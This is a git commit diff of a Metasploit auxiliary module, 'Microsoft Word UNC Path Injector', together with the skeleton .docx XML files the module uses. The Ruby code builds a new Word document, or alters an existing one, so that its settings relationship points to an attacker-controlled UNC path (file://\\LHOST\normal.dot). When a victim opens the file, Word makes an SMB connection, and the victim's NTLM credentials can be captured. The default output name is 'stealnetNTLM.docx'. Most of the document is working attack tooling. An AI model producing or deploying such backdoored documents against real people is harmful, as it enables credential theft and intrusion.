Data files moved. Updated to use Rex::zip and Msf::Exploit::FILEFORMAT
parent
e71c2c5ece
commit
24de0d2274
|
@ -0,0 +1,2 @@
|
|||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/><Override PartName="/word/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.styles+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/><Override PartName="/word/settings.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.settings+xml"/><Override PartName="/word/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/word/fontTable.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.fontTable+xml"/><Override PartName="/word/webSettings.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.webSettings+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/></Types>
|
|
@ -0,0 +1,2 @@
|
|||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties" Target="docProps/app.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties" Target="docProps/core.xml"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="word/document.xml"/></Relationships>
|
|
@ -0,0 +1,2 @@
|
|||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties" xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"><Template>normal.dot</Template><TotalTime>0</TotalTime><Pages>1</Pages><Words>0</Words><Characters>3</Characters><Application>Microsoft Office Outlook</Application><DocSecurity>0</DocSecurity><Lines>0</Lines><Paragraphs>0</Paragraphs><ScaleCrop>false</ScaleCrop><Company></Company><LinksUpToDate>false</LinksUpToDate><CharactersWithSpaces>0</CharactersWithSpaces><SharedDoc>false</SharedDoc><HyperlinksChanged>false</HyperlinksChanged><AppVersion>12.0000</AppVersion></Properties>
|
|
@ -0,0 +1,2 @@
|
|||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/webSettings" Target="webSettings.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/settings" Target="settings.xml"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/><Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme" Target="theme/theme1.xml"/><Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/fontTable" Target="fontTable.xml"/></Relationships>
|
|
@ -0,0 +1,2 @@
|
|||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<w:document xmlns:ve="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml"><w:body><w:p w:rsidR="00E97639" w:rsidRDefault="00E97639"><w:r><w:t> </w:t></w:r></w:p><w:sectPr w:rsidR="00E97639" w:rsidSect="00B25E88"><w:pgSz w:w="12240" w:h="15840"/><w:pgMar w:top="1440" w:right="1440" w:bottom="1440" w:left="1440" w:header="720" w:footer="720" w:gutter="0"/><w:cols w:space="720"/><w:docGrid w:linePitch="360"/></w:sectPr></w:body></w:document>
|
|
@ -0,0 +1,2 @@
|
|||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<w:fonts xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"><w:font w:name="Times New Roman"><w:panose1 w:val="02020603050405020304"/><w:charset w:val="00"/><w:family w:val="roman"/><w:pitch w:val="variable"/><w:sig w:usb0="20002A87" w:usb1="80000000" w:usb2="00000008" w:usb3="00000000" w:csb0="000001FF" w:csb1="00000000"/></w:font><w:font w:name="Cambria"><w:panose1 w:val="02040503050406030204"/><w:charset w:val="00"/><w:family w:val="roman"/><w:pitch w:val="variable"/><w:sig w:usb0="A00002EF" w:usb1="4000004B" w:usb2="00000000" w:usb3="00000000" w:csb0="0000009F" w:csb1="00000000"/></w:font><w:font w:name="Calibri"><w:panose1 w:val="020F0502020204030204"/><w:charset w:val="00"/><w:family w:val="swiss"/><w:pitch w:val="variable"/><w:sig w:usb0="A00002EF" w:usb1="4000207B" w:usb2="00000000" w:usb3="00000000" w:csb0="0000009F" w:csb1="00000000"/></w:font></w:fonts>
|
|
@ -0,0 +1,2 @@
|
|||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<w:settings xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:sl="http://schemas.openxmlformats.org/schemaLibrary/2006/main"><w:zoom w:percent="100"/><w:embedSystemFonts/><w:attachedTemplate r:id="rId1"/><w:defaultTabStop w:val="720"/><w:characterSpacingControl w:val="doNotCompress"/><w:doNotValidateAgainstSchema/><w:doNotDemarcateInvalidXml/><w:compat><w:useNormalStyleForList/><w:doNotUseIndentAsNumberingTabStop/><w:useAltKinsokuLineBreakRules/><w:allowSpaceOfSameStyleInTable/><w:doNotSuppressIndentation/><w:doNotAutofitConstrainedTables/><w:autofitToFirstFixedWidthCell/><w:underlineTabInNumList/><w:displayHangulFixedWidth/><w:splitPgBreakAndParaMark/><w:doNotVertAlignCellWithSp/><w:doNotBreakConstrainedForcedTable/><w:doNotVertAlignInTxbx/><w:useAnsiKerningPairs/><w:cachedColBalance/></w:compat><w:rsids><w:rsidRoot w:val="00B25E88"/><w:rsid w:val="00890656"/><w:rsid w:val="00B25E88"/><w:rsid w:val="00E97639"/></w:rsids><m:mathPr><m:mathFont m:val="Cambria Math"/><m:brkBin m:val="before"/><m:brkBinSub m:val="--"/><m:smallFrac m:val="off"/><m:dispDef/><m:lMargin m:val="0"/><m:rMargin m:val="0"/><m:defJc m:val="centerGroup"/><m:wrapIndent m:val="1440"/><m:intLim m:val="subSup"/><m:naryLim m:val="undOvr"/></m:mathPr><w:uiCompat97To2003/><w:themeFontLang w:val="en-US"/><w:clrSchemeMapping w:bg1="light1" w:t1="dark1" w:bg2="light2" w:t2="dark2" w:accent1="accent1" w:accent2="accent2" w:accent3="accent3" w:accent4="accent4" w:accent5="accent5" w:accent6="accent6" w:hyperlink="hyperlink" w:followedHyperlink="followedHyperlink"/><w:doNotIncludeSubdocsInStats/><w:doNotAutoCompressPictures/><w:decimalSymbol w:val="."/><w:listSeparator w:val=","/></w:settings>
|
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
|
@ -0,0 +1,2 @@
|
|||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<w:webSettings xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"><w:optimizeForBrowser/></w:webSettings>
|
|
@ -6,10 +6,13 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'zip/zip'
|
||||
require 'zip/zip' #for extracting files
|
||||
require 'rex/zip' #for creating files
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Microsoft Word UNC Path Injector',
|
||||
|
@ -22,7 +25,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
2007 and 2010 as of Januari 2013 date by using auxiliary/server/capture/smb
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision: 1 $',
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://jedicorp.com/?p=534' ],
|
||||
|
@ -35,114 +37,123 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
register_options(
|
||||
[
|
||||
OptAddress.new('LHOST',[true, 'Server IP or hostname that the .docx document points to','']),
|
||||
OptString.new('SRCFILE', [false, '.docx file to backdoor. If left empty, creates an emtpy document', '']),
|
||||
OptString.new('SKLFILENAME', [false,'Document output filename', 'stealnetNTLM.docx']),
|
||||
OptPath.new('SKLOUTPUTPATH', [false, 'The location where the backdoored empty .docx file will be written','./']),
|
||||
OptString.new('SKLDOCAUTHOR',[false,'Document author for skeleton document', 'SphaZ']),
|
||||
OptAddress.new('LHOST',[true, 'Server IP or hostname that the .docx document points to.','']),
|
||||
OptString.new('SOURCE', [false, 'Full path and filename of .docx file to use as source. If empty, creates new document', '']),
|
||||
OptString.new('FILENAME', [true, 'Document output filename.', 'stealnetNTLM.docx']),
|
||||
OptString.new('DOCAUTHOR',[false,'Document author for empty document.', 'SphaZ']),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
#here we create an empty .docx file with the UNC path. Only done when SRCFILE is empty
|
||||
#here we create an empty .docx file with the UNC path. Only done when FILENAME is empty
|
||||
def makeNewFile
|
||||
metadataFileData = ""
|
||||
metadataFileData << "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?><cp:coreProperties"
|
||||
metadataFileData << " xmlns:cp=\"http://schemas.openxmlformats.org/package/2006/metadata/core-properties\" "
|
||||
metadataFileData << "xmlns:dc=\"http://purl.org/dc/elements/1.1/\" xmlns:dcterms=\"http://purl.org/dc/terms/\" "
|
||||
metadataFileData << "xmlns:dcmitype=\"http://purl.org/dc/dcmitype/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">"
|
||||
metadataFileData << "<dc:creator>#{datastore['SKLDOCAUTHOR']}</dc:creator><cp:lastModifiedBy>#{datastore['SKLDOCAUTHOR']}"
|
||||
metadataFileData << "<dc:creator>#{datastore['DOCAUTHOR']}</dc:creator><cp:lastModifiedBy>#{datastore['DOCAUTHOR']}"
|
||||
metadataFileData << "</cp:lastModifiedBy><cp:revision>1</cp:revision><dcterms:created xsi:type=\"dcterms:W3CDTF\">"
|
||||
metadataFileData << "2013-01-08T14:14:00Z</dcterms:created><dcterms:modified xsi:type=\"dcterms:W3CDTF\">"
|
||||
metadataFileData << "2013-01-08T14:14:00Z</dcterms:modified></cp:coreProperties>"
|
||||
|
||||
#Lets get the local filepath to figure out where we need to write the metadata file
|
||||
metadataFileName = File.dirname(self.file_path)+'/sourcedoc/docProps/core.xml'
|
||||
#where to find the skeleton files required for creating an empty document
|
||||
dataDir = File.join(Msf::Config.install_root, "data", "exploits", "docx")
|
||||
tmpDir = "#{Dir.tmpdir}/unc_tmp"
|
||||
|
||||
#setup temporary directory structure
|
||||
begin
|
||||
if File.exists?(metadataFileName)
|
||||
vprint_status("Deleting metadatafile")
|
||||
File.delete(metadataFileName)
|
||||
cleanupTmp(tmpDir)
|
||||
FileUtils.mkdir_p("#{tmpDir}/docProps/")
|
||||
FileUtils.mkdir_p("#{tmpDir}/word/_rels/")
|
||||
rescue
|
||||
print_error("Error generating temp directory structure.")
|
||||
return nil
|
||||
end
|
||||
|
||||
#here we store our on-the-fly created files
|
||||
begin
|
||||
f = File.open("#{tmpDir}/docProps/core.xml", 'wb')
|
||||
f.write(metadataFileData)
|
||||
f.close()
|
||||
f = File.open("#{tmpDir}/word/_rels/settings.xml.rels", 'wb')
|
||||
f.write(@relsFileData)
|
||||
f.close()
|
||||
rescue
|
||||
print_error("Cant write to temp file.")
|
||||
cleanupTmp(tmpDir)
|
||||
return nil
|
||||
end
|
||||
|
||||
#making the actual docx
|
||||
begin
|
||||
docx = Rex::Zip::Archive.new
|
||||
#add skeleton files
|
||||
vprint_status("Adding skeleton files from #{dataDir}")
|
||||
Dir["#{dataDir}/**/**"].each do |file|
|
||||
if not File.directory?(file)
|
||||
docx.add_file(file.sub(dataDir,''), File.read(file))
|
||||
end
|
||||
end
|
||||
fd = File.open( metadataFileName, 'wb+' )
|
||||
fd.puts(metadataFileData)
|
||||
fd.close
|
||||
#add on-the-fly created documents
|
||||
vprint_status("Adding injected files")
|
||||
Dir["#{Dir.tmpdir}/unc_tmp/**/**"].each do |file|
|
||||
if not File.directory?(file)
|
||||
docx.add_file(file.sub("#{Dir.tmpdir}/unc_tmp/",''), File.read(file))
|
||||
end
|
||||
end
|
||||
#add the otherwise skipped "hidden" file
|
||||
file = "#{dataDir}/_rels/.rels"
|
||||
docx.add_file(file.sub(dataDir,''), File.read(file))
|
||||
file_create(docx.pack)
|
||||
rescue
|
||||
print_error("Cant write to #{metadataFileName} make sure module and data are intact")
|
||||
print_error("Error creating empty document #{datastore['FILENAME']}")
|
||||
cleanupTmp(tmpDir)
|
||||
return nil
|
||||
end
|
||||
|
||||
#now lets write the _rels file that contains the UNC path
|
||||
refdataFileName = File.dirname(self.file_path) + '/sourcedoc/word/_rels/settings.xml.rels'
|
||||
begin
|
||||
fd = File.open( refdataFileName, 'wb+' )
|
||||
fd.puts(@relsFileData)
|
||||
fd.close
|
||||
rescue
|
||||
print_error("Cant write to #{refdataFileName} make sure module and data are intact.")
|
||||
return nil
|
||||
end
|
||||
|
||||
#and finally, lets creat the .docx file
|
||||
inputPath = File.dirname(self.file_path) + '/sourcedoc/'
|
||||
inputPath.sub!(%r[/S],'')
|
||||
|
||||
archive = File.join(datastore['SKLOUTPUTPATH'], datastore['SKLFILENAME'])
|
||||
#if file exists, lets not overwrite
|
||||
if File.exists?(archive)
|
||||
print_error("Output file #{archive} already exists! Set a different name for SKLOUTPUTPATH and/or SKLFILENAME.")
|
||||
return nil
|
||||
end
|
||||
|
||||
if zipDocx(inputPath, archive, false).nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
begin
|
||||
#delete the created xml files, the less evidence of parameters used the better
|
||||
File.delete(File.dirname(self.file_path)+'/sourcedoc/docProps/core.xml')
|
||||
File.delete(File.dirname(self.file_path) + '/sourcedoc/word/_rels/settings.xml.rels')
|
||||
rescue
|
||||
print_error("Error deleting local core and settings documents. Generating new file worked though")
|
||||
end
|
||||
|
||||
cleanupTmp(tmpDir)
|
||||
return 0
|
||||
end
|
||||
|
||||
#cleaning up of temporary files. If it fails we say so, but continue anyway
|
||||
def cleanupTmp(dir)
|
||||
begin
|
||||
FileUtils.rm_rf(dir)
|
||||
rescue
|
||||
print_error("Error cleaning up tmp directory structure.")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#this bit checks the settings.xml and looks for the relations file entry we need for our evil masterplan.
|
||||
#and then inserts the UNC path into the _rels file.
|
||||
#here we inject an UNC path into an existing file, and store the injected file in FILENAME
|
||||
def manipulateFile
|
||||
#where do we unpack our source file?
|
||||
tmpDir = "#{Dir.tmpdir}/#{Time.now.to_i}#{rand(1000)}/"
|
||||
ref = "<w:attachedTemplate r:id=\"rId1\"/>"
|
||||
|
||||
if File.exists?(datastore['SRCFILE'])
|
||||
if File.stat(datastore['SRCFILE']).readable? and File.stat(datastore['SRCFILE']).writable?
|
||||
vprint_status("We can read and write the file, this is probably a good thing :P")
|
||||
else
|
||||
print_error("Not enough rights to modify the file. Aborting.")
|
||||
if File.exists?(datastore['SOURCE'])
|
||||
if not File.stat(datastore['SOURCE']).readable?
|
||||
print_error("Not enough rights to read the file. Aborting.")
|
||||
return nil
|
||||
end
|
||||
|
||||
fileContent = getFileFromDocx("word/settings.xml")
|
||||
if fileContent.nil?
|
||||
#lets extract our docx
|
||||
if unzipDocx(tmpDir).nil?
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
fileContent = File.read("#{tmpDir}/word/settings.xml")
|
||||
|
||||
if not fileContent.index("w:attachedTemplate r:id=\"rId1\"").nil?
|
||||
vprint_status("Reference to rels file already exists in settings file, we dont need to add it :)")
|
||||
#and we put just our rels file into the docx
|
||||
if unzipDocx.nil?
|
||||
|
||||
#we put just our rels file into the docx
|
||||
if updateDocxFile(tmpDir,"word/_rels/settings.xml.rels", @relsFileData).nil?
|
||||
return nil
|
||||
end
|
||||
if updateDocxFile("word/_rels/settings.xml.rels", @relsFileData).nil?
|
||||
return nil
|
||||
end
|
||||
#ok we got through this, lets zip the file, overwriting the original in this case
|
||||
begin
|
||||
File.delete(datastore['SRCFILE'])
|
||||
if zipDocx(@tmpDir, datastore['SRCFILE'],true).nil?
|
||||
return nil
|
||||
end
|
||||
rescue
|
||||
print_error("Can't modify the original document :(")
|
||||
|
||||
# lets zip the end result
|
||||
if zipDocx(tmpDir).nil?
|
||||
return nil
|
||||
end
|
||||
else
|
||||
|
@ -154,166 +165,128 @@ class Metasploit3 < Msf::Auxiliary
|
|||
if not insertTwo.nil?
|
||||
vprint_status("HypenationZone found, we use this for insertion.")
|
||||
fileContent.insert(insertTwo, ref )
|
||||
end
|
||||
end
|
||||
else
|
||||
vprint_status("DefaultTabStop found, we use this for insertion.")
|
||||
fileContent.insert(insertOne, ref )
|
||||
end
|
||||
end
|
||||
|
||||
if insertOne.nil? && insertTwo.nil?
|
||||
vprint_error("Cannot find insert point for reference into settings.xml")
|
||||
print_error("Cannot find insert point for reference into settings.xml")
|
||||
cleanupTmp(tmpDir)
|
||||
return nil
|
||||
end
|
||||
|
||||
if unzipDocx.nil?
|
||||
#lets extract our docx
|
||||
if unzipDocx(tmpDir).nil?
|
||||
return nil
|
||||
end
|
||||
#update the settings files
|
||||
if updateDocxFile("word/settings.xml",fileContent).nil?
|
||||
|
||||
#update the files that contain the injection and reference
|
||||
if updateDocxFile(tmpDir, "word/settings.xml",fileContent).nil?
|
||||
print_error("Error inserting data into word/settings.xml")
|
||||
return nil
|
||||
end
|
||||
if updateDocxFile("word/_rels/settings.xml.rels", @relsFileData).nil?
|
||||
if updateDocxFile(tmpDir, "word/_rels/settings.xml.rels", @relsFileData).nil?
|
||||
print_error("Eror inserting data into word/_rels/settings.xml.rels")
|
||||
return nil
|
||||
end
|
||||
#ok we got through this, lets zip the file, overwriting the original in this case
|
||||
begin
|
||||
File.delete(datastore['SRCFILE'])
|
||||
if zipDocx(@tmpDir, datastore['SRCFILE'],true).nil?
|
||||
return nil
|
||||
end
|
||||
rescue
|
||||
print_error("Can't modify the original document :(")
|
||||
|
||||
#lets zip the file
|
||||
if zipDocx(tmpDir).nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
end
|
||||
else
|
||||
print_error("File #{datastore['SRCFILE']} does not exist. Aborting.")
|
||||
print_error("File #{datastore['SOURCE']} does not exist.")
|
||||
return nil
|
||||
end
|
||||
|
||||
cleanupTmp(tmpDir)
|
||||
return 0
|
||||
end
|
||||
|
||||
#read a file from .docx into a string
|
||||
def getFileFromDocx(fileString)
|
||||
#making the actual docx
|
||||
def zipDocx(tmpDir)
|
||||
begin
|
||||
Zip::ZipFile.open(datastore['SRCFILE']) do |fileZip|
|
||||
fileZip.each do |f|
|
||||
next unless f.to_s == fileString
|
||||
return f.get_input_stream.read
|
||||
docx = Rex::Zip::Archive.new
|
||||
#add skeleton files
|
||||
vprint_status("Adding files from #{tmpDir}")
|
||||
Dir["#{tmpDir}/**/**"].each do |file|
|
||||
if not File.directory?(file)
|
||||
docx.add_file(file.sub(tmpDir,''), File.read(file))
|
||||
end
|
||||
end
|
||||
fileZip.close
|
||||
print_error("Cant find #{fileString} inside the .docx")
|
||||
return nil
|
||||
#add the otherwise skipped "hidden" file
|
||||
file = "#{tmpDir}/_rels/.rels"
|
||||
docx.add_file(file.sub(tmpDir,''), File.read(file))
|
||||
file_create(docx.pack)
|
||||
rescue
|
||||
print_error("Unknown error reading docx file.")
|
||||
fileZip.close
|
||||
print_error("Error creating compressed document #{datastore['FILENAME']}")
|
||||
cleanupTmp(tmpDir)
|
||||
return nil
|
||||
end
|
||||
fileZip.close
|
||||
end
|
||||
|
||||
def zipDocx(inputPath, archive, delsource)
|
||||
#unzip the .docx document. sadly Rex::zip does not uncompress so we do it the Rubyzip way
|
||||
def unzipDocx(tmpDir)
|
||||
begin
|
||||
#add the prepared files to the zip file
|
||||
Zip::ZipFile.open(archive, 'wb') do |fileZip|
|
||||
Dir["#{inputPath}/**/**"].reject{|f|f==archive}.each do |file|
|
||||
fileZip.add(file.sub(inputPath+'/',''), file)
|
||||
end
|
||||
relsFile = inputPath + '/_rels/.rels'
|
||||
fileZip.add(relsFile.sub(inputPath+'/',''), relsFile)
|
||||
end
|
||||
rescue
|
||||
print_error("Error zipping file..")
|
||||
begin
|
||||
FileUtils.rm_rf(inputPath)
|
||||
rescue
|
||||
print_error("Cant even clean up my own mess, I give up")
|
||||
return nil
|
||||
end
|
||||
return nil
|
||||
end
|
||||
#do we delete the source?
|
||||
if delsource
|
||||
begin
|
||||
FileUtils.rm_rf(inputPath)
|
||||
rescue
|
||||
print_error("Cant even clean up my own mess, I give up")
|
||||
end
|
||||
end
|
||||
return 0
|
||||
end
|
||||
|
||||
def unzipDocx
|
||||
begin
|
||||
vprint_status("tmpdir: #{@tmpDir}")
|
||||
if not File.directory?(@tmpDir)
|
||||
vprint_status("Damn rubyzip cant be relied upon, so we do it the hard way. Extracting #{datastore['SRCFILE']}")
|
||||
Zip::ZipFile.open(datastore['SRCFILE']) do |fileZip|
|
||||
if not File.directory?(tmpDir)
|
||||
vprint_status("Damn rubyzip cant be relied upon, so we do it the hard way. Extracting #{datastore['SOURCE']}")
|
||||
Zip::ZipFile.open(datastore['SOURCE']) do |fileZip|
|
||||
fileZip.each do |entry|
|
||||
if not entry.nil?
|
||||
vprint_status("extracting entry: #{entry.name}")
|
||||
end
|
||||
fpath = File.join(@tmpDir, entry.name)
|
||||
fpath = File.join(tmpDir, entry.name)
|
||||
FileUtils.mkdir_p(File.dirname(fpath))
|
||||
fileZip.extract(entry, fpath)
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue
|
||||
print_error("There was an error unzipping")
|
||||
print_error("There was an error unzipping.")
|
||||
cleanupTmp(tmpDir)
|
||||
return nil
|
||||
end
|
||||
return 0
|
||||
end
|
||||
|
||||
#used for updating the files inside the docx from a string
|
||||
def updateDocxFile(fileString, content)
|
||||
def updateDocxFile(tmpDir,fileString, content)
|
||||
begin
|
||||
#ok so now we unpacked the docx file, lets start to update the file we need to do
|
||||
#does the file already exist?
|
||||
archive = File.join(@tmpDir, fileString)
|
||||
archive = File.join(tmpDir, fileString)
|
||||
vprint_status("We need to look for: #{archive}")
|
||||
if File.exists?(archive)
|
||||
vprint_status("Deleting original file #{archive}")
|
||||
File.delete(archive)
|
||||
end
|
||||
#now lets put OUR file there
|
||||
File.open(archive, 'wb+') { |f| f.write(content) }
|
||||
rescue Exception => ex
|
||||
print_error("Well, extracting and manipulating the file went wrong :(")
|
||||
cleanupTmp(tmpDir)
|
||||
return nil
|
||||
end
|
||||
return 0
|
||||
end
|
||||
|
||||
def run
|
||||
#we need this in in bot makeNewFile and manipulateFile
|
||||
#we need this in makeNewFile and manipulateFile
|
||||
@relsFileData = ""
|
||||
@relsFileData << "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>".chomp
|
||||
@relsFileData << "<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\">".chomp
|
||||
@relsFileData << "<Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/".chomp
|
||||
@relsFileData << "attachedTemplate\" Target=\"file://\\\\#{datastore['LHOST']}\\normal.dot\" TargetMode=\"External\"/></Relationships>"
|
||||
#where do we unpack our file?
|
||||
@tmpDir = "#{Dir.tmpdir}/#{Time.now.to_i}#{rand(1000)}/"
|
||||
|
||||
if "#{datastore['SRCFILE']}" == ""
|
||||
if "#{datastore['SOURCE']}" == ""
|
||||
#make an empty file
|
||||
print_status("Creating empty document")
|
||||
if not makeNewFile.nil?
|
||||
print_good("Success! Document #{datastore['SKLFILENAME']} created in #{datastore['SKLOUTPUTPATH']}")
|
||||
print_good("Success! Empty document #{datastore['FILENAME']} created.")
|
||||
end
|
||||
else
|
||||
#extract the word/settings.xml and edit in the reference we need
|
||||
print_status("Injecting UNC path into existing document.")
|
||||
if not manipulateFile.nil?
|
||||
print_good("Success! Document #{datastore['SRCFILE']} now references to #{datastore['LHOST']}")
|
||||
else
|
||||
print_error("Something went wrong!")
|
||||
print_good("Copy of #{datastore['SOURCE']} called #{datastore['FILENAME']} points to #{datastore['LHOST']}.")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue